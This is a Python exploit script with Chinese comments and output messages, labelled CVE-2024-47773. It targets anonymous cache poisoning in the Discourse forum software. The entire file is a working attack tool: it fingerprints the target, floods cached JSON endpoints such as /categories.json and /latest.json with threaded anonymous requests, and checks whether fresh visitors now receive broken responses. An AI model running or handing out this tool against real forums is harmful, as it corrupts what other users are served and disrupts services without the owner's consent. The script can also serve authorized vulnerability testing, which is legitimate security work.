1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
|
#!/usr/bin/env python3
"""
Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning
Date: 2024-10-15
Exploit Author: ibrahimsql
Github: https://github.com/ibrahmsql
Vendor Homepage: https://discourse.org
Software Link: https://github.com/discourse/discourse
Version: Discourse < latest (patched)
Tested on: Discourse 3.1.x, 3.2.x
CVE: CVE-2024-47773
CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
"""
import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin
class DiscourseCachePoisoning:
def __init__(self, target_url, threads=10, timeout=10):
self.target_url = target_url.rstrip('/')
self.threads = threads
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
self.poisoned = False
def check_target(self):
"""检查目标是否可访问且运行Discourse"""
try:
response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
if response.status_code == 200:
if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
return True
except Exception as e:
print(f"[-] 检查目标错误: {e}")
return False
def check_anonymous_cache(self):
"""检查匿名缓存是否启用"""
try:
# 测试应该为匿名用户缓存的端点
response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
# 检查缓存头
cache_headers = ['cache-control', 'etag', 'last-modified']
has_cache = any(header in response.headers for header in cache_headers)
if has_cache:
print("[+] 匿名缓存似乎已启用")
return True
else:
print("[-] 匿名缓存可能已禁用")
return False
except Exception as e:
print(f"[-] 检查缓存错误: {e}")
return False
def poison_cache_worker(self, endpoint):
"""缓存投毒尝试的工作函数"""
try:
# 创建无cookie会话以模拟匿名用户
anon_session = requests.Session()
anon_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest'
})
# 快速请求以投毒缓存
for i in range(50):
response = anon_session.get(
f"{self.target_url}{endpoint}",
timeout=self.timeout
)
# 检查响应是否缺少预加载数据
if response.status_code == 200:
try:
data = response.json()
# 检查缺少预加载数据的指标
if self.is_poisoned_response(data):
print(f"[+] 缓存投毒成功于 {endpoint}")
self.poisoned = True
return True
except:
pass
time.sleep(0.1)
except Exception as e:
pass
return False
def is_poisoned_response(self, data):
"""检查响应是否指示成功的缓存投毒"""
# 查找缺少预加载数据的指标
indicators = [
# 缺少或空的预加载数据
not data.get('preloaded', True),
data.get('preloaded') == {},
# 缺少预期字段
'categories' in data and not data['categories'],
'topics' in data and not data['topics'],
# 错误指标
data.get('error') is not None,
data.get('errors') is not None
]
return any(indicators)
def test_cache_poisoning(self):
"""在多个端点上测试缓存投毒"""
print("[*] 测试缓存投毒漏洞...")
# 通常被缓存的目标端点
endpoints = [
'/categories.json',
'/latest.json',
'/top.json',
'/c/general.json',
'/site.json',
'/site/basic-info.json'
]
threads = []
for endpoint in endpoints:
print(f"[*] 测试端点: {endpoint}")
# 创建多个线程来投毒缓存
for i in range(self.threads):
thread = threading.Thread(
target=self.poison_cache_worker,
args=(endpoint,)
)
threads.append(thread)
thread.start()
# 等待线程完成
for thread in threads:
thread.join(timeout=5)
if self.poisoned:
break
time.sleep(1)
return self.poisoned
def verify_poisoning(self):
"""验证缓存投毒是否成功"""
print("[*] 验证缓存投毒...")
# 使用新的匿名会话测试
verify_session = requests.Session()
verify_session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
try:
response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout)
if response.status_code == 200:
try:
data = response.json()
if self.is_poisoned_response(data):
print("[+] 缓存投毒已验证 - 匿名用户受影响")
return True
else:
print("[-] 缓存投毒未验证")
except:
print("[-] 无法解析响应")
else:
print(f"[-] 意外响应代码: {response.status_code}")
except Exception as e:
print(f"[-] 验证投毒错误: {e}")
return False
def exploit(self):
"""主漏洞利用函数"""
print(f"[*] 测试Discourse缓存投毒 (CVE-2024-47773)")
print(f"[*] 目标: {self.target_url}")
if not self.check_target():
print("[-] 目标不可访问或未运行Discourse")
return False
print("[+] 目标确认为Discourse实例")
if not self.check_anonymous_cache():
print("[-] 匿名缓存可能已禁用 (DISCOURSE_DISABLE_ANON_CACHE设置)")
print("[*] 继续尝试利用...")
success = self.test_cache_poisoning()
if success:
print("[+] 缓存投毒攻击成功!")
self.verify_poisoning()
print("\n[!] 影响: 匿名访问者可能接收到缺少预加载数据的响应")
print("[!] 建议: 升级Discourse或设置DISCOURSE_DISABLE_ANON_CACHE")
return True
else:
print("[-] 缓存投毒攻击失败")
print("[*] 目标可能已修补或缓存已禁用")
return False
def main():
parser = argparse.ArgumentParser(description='Discourse匿名缓存投毒 (CVE-2024-47773)')
parser.add_argument('-u', '--url', required=True, help='目标Discourse URL')
parser.add_argument('-t', '--threads', type=int, default=10, help='线程数 (默认: 10)')
parser.add_argument('--timeout', type=int, default=10, help='请求超时 (默认: 10)')
args = parser.parse_args()
exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)
try:
success = exploit.exploit()
sys.exit(0 if success else 1)
except KeyboardInterrupt:
print("\n[-] 利用被用户中断")
sys.exit(1)
except Exception as e:
print(f"[-] 利用失败: {e}")
sys.exit(1)
if __name__ == '__main__':
main()
|